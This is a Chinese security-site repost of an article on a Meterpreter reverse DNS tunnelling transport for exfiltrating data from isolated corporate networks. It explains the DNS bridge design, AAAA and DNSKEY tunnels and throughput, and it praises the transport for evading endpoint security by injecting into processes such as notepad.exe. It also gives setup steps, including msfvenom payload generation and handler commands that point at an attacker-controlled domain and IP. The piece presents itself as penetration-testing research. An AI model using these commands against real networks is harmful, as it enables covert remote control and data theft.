安全路透社
当前位置:安全路透社 > 网络转载 > 正文

隔离网络环境下的数据渗漏:Meterpreter DNS隧道技术

隔离网络环境下的数据渗漏 - Meterpreter DNS隧道技术

对于渗透测试人员来说,Meterpreter是常用的Metasploit环境远程代理,其中内置的多级攻击载荷(payload)非常方便灵活,对管理控制已拿下的远程沦陷机器极为实用。目前来说,Meterpreter支持TCP端口绑定、TCP / IP反向连接以及HTTP进行反向连接的网络代理传输模式。我们在去年的defcon-russia大会上,启动了一个关于Meterpreter下反向DNS隧道实现数据渗漏的开源社区项目,而就在上周,我们也对此在ZeroNights安全会议上也作了演讲。本文中,我想着重对该项目的成果、未来计划、主要优点和特点进行介绍。

数据渗漏(Data exfiltration):就是黑客将已经在目标网络中获取的信息传递出来的技术,核心就是对欲渗出的数据进行加密、混淆,然后通过一些隐蔽的手段传递出来而不被察觉或检测到。在某些场景中,数据渗漏也可称为数据窃取。

该项目的传输设计和相关组件

我们目前的“预发布版”只支持windows平台(包括x64 / x86),主要包含以下组件:

DNS MSF Bridge(作为中间服务组件)

Meterpreter DNS transport

MSF stager payloads(shellcode x64 / x86)

DNS MSF Bridge是一个用作DNS服务器的Python脚本,它是在互联网上进行域名服务、DNS请求解析和发送封装数据的关键组件,也即行使正常的DNS通道服务。同时,该脚本还为MSF客户端(测试端)绑定了一个TCP端口,以让渗透测试人员利用上述DNS bridge来远程控制已经拿下的目标机器。换句话说,这个脚本的功能就是一个传输代理。目前,我们还没在Ruby中实现“原生”​​的DNS服务,后期会作出考虑。

该项目主要还在于非常实用:当你做渗透时,只需把这个DNS MSF Bridge脚本放到自架的DNS服务器上,如亚马逊的云端托管服务器EC2,然后把主域名的NS记录和IP对应好,之后,利用MSF框架就可在任何地方与该脚本连接,配合工作。

除此之外,利用DNS MSF Bridge脚本,我们还实现了多控制端和攻击载荷(Payload)的有效联动支撑,也就是说,对多个目标机器开展工作的两个或多个渗透测试人员可以同时使用DNS MSF Bridge提供的域名和代理服务。目前,DNS MSF Bridge脚本(或代理域名)最多支持26个已攻陷主机的并行控制会话,实现有效数据渗漏。

隔离网络环境下的数据渗漏 - Meterpreter DNS隧道技术

目前,该项目支持两种类型的DNS隧道模式:DNSKEY RR(DNS公钥资源记录)和AAAA RR(IPv6地址资源记录),这意味着它可支持shellcode和metsrv代理形式的的所有DNS隧道。

隔离网络环境下的数据渗漏 - Meterpreter DNS隧道技术

现在,我们能通过DNS执行整个渗透过程的信息传输,MSF攻击模块传输器(stager)利用DNS通道下载攻击载荷(payload或meterpreer)并在内存运行,而此过程中的meterpreer也是基于同一个DNS传输通道来执行控制任务的,所以,这种管理控制方式相对隐蔽。而使用其它第三方软件(如Powershell/Dnscat2/Iodine)在TCP/IP形式DNS隧道中实现的手段,由于需要指定进程和端口,很容易被目标机器终端杀软或防护软件检测到,与我们采用的数据渗漏方式相比,其隐蔽性明显较差。而且,我们所研究的模式产生的是MSF框架的原生Payload,也就是说,不需要socket套接字和隧道进程/二进制文件/脚本;另外,由于该方式不对TCP/IP头进行封装,只对攻击载荷(Payload)本身和metsrv进程的TLV包(类型-长度-值)封装,所以,从传输速度来说,相对更快。

项目运行特点

DNS隧道类型:

AAAA – 速度较慢,但可以在Windows XP中使用。即使目标受害机器中没有使用或安装IPv6架构,也可使用该隧道隧道,为了保证传输顺利通过,我们在响应中只使用保留的IPv6地址。

DNSKEY – 只能在Windows 7上使用,但速度要快得多。

编码 – metsvc进程产生的上行通道涉及到一些相应的子域名值,因此我们对其TLV包作了base32编码。

加密 – 目前我们还没采用其它加密手段,也就是说,Payload能在DNS响应中“透明”有效传输,在AAAA模式下,Payload会被IP地址分段传输,而DNSKEY模式下,Payload则会在每个响应中以16KB片段传输。

Meterpreter通信 – 使用AES + XOR会话密钥进行标准加密。

速度 – 以下上行和下行DNS通道在不同网络中经过测试的大概速率:

上行通道:base32编码 1KB/每秒 – 4KB/每秒

下行通道:AAAA  4KB/每秒 – 16 KB/每秒     DNSKEY  86 KB/每秒 – 660 KB/每秒

虽然这种数据渗漏传输速度会依环境和网络而有所不同,但在正常的企业网络中,传输速度通常都会很快,如果DNSKEY的shellcodes下载Meterpreter stage需要用时2秒,我觉得在实际中已经足够用了,也还取决其它情况,另外Meterpreter还需几秒时间先加载头文件库StdLib,而且Meterpreter迁移进程也和下载速度有关。

该项目的优点

回顾这种DNS隧道传输的功能特点,主要原因还在于能访问隔离网络或不同VLAN内的主机。

我还记得曾经我在某公司作为渗透测试人员,当遇到隔离网络环境时,经常会用社工方式发送捆绑PDF exploit的电邮去测试雇员,这种情况下,如果测试成功,如何控制已经拿下的沦陷主机呢?因此,我们研究的这种反向DNS隧道技术就能派上用场了!在某些终端安全防护设备(EDR/EPP)中的限制访问环境下,该技术照样能如入无人之境,渗透于无形,可以说它也是逃离网络沙箱的有效方式。这种反向DNS隧道数据渗漏技术的应用场景在于,如果被拿下的沦陷主机位于LAN/DMZ区域内,只能通过内部企业DNS服务器向外反弹连接的情况。

隔离网络环境下的数据渗漏 - Meterpreter DNS隧道技术

另一个很酷的功能就是适用于Windows平台的“无套接字”控制,这主要指我们的代理(meterpreter/pwned进程)不需要生成连接或绑定端口等形式来做DNS解析,因为MS DNS Cache会完成所有工作。这种技术应用打个比仿说,就好像我们把木马程序注入到notepad.exe进程后,notepad.exe会尝试通过本地的企业DNS服务器与我们建立一个DNS隧道,但与该企业DNS服务器的UDP/TCP连接却不是由notepad.exe发起的,而是由svchost.exe完成的,因此在隐蔽性方面效果非常不错。而且,对大多数企业终端安全设备来说,这种技术可以做到遁入无形。

使用方法

1)  以git clone方式安装 https://github.com/defcon-russia/metasploit-framework

2) 网上买个域名,越短越好,像msf.ws这种

3) 购买个亚马逊EC2服务器套餐 (比如IP是1.2.3.4)

4) 把NS记录和域名msf.ws及IP进行对应

5) 把我们的DNS MSF Bridge部署到EC2服务器中运行

./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws

6) 制作攻击载荷(Payload)

./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4

7) 生成exploit

8) 执行MSF控制

use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run

9) 针对目标机器执行exploit,稍等一会就会产生反弹连接

视频演示

之后打算

目前我们正尝试把这种传输技术形成MSF框架分支,一些合并工作也正在进行中,包括创建本地DNS处理程序支持,如果可以使用MSF作为DNS服务器那是最好不过的了。后期如果能与MSF合并成功,将会成为Metasploit的主要模块,届时还可形成更多实用功能,如:

传输器(stager)的Payload XOR加密

生成Powershell/VBS 传输模式

增加其它系统平台支撑

实现多种类型隧道,如TXT、NULL等

如果你有任何疑问,请与我们联系, Telegram:https://t.me/DCG7812

项目地址

https://github.com/defcon-russia/metasploit-framework

https://github.com/defcon-russia/metasploit-payloads

*参考来源:asintsov,freebuf小编clouds编译 

未经允许不得转载:安全路透社 » 隔离网络环境下的数据渗漏:Meterpreter DNS隧道技术

赞 (1)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册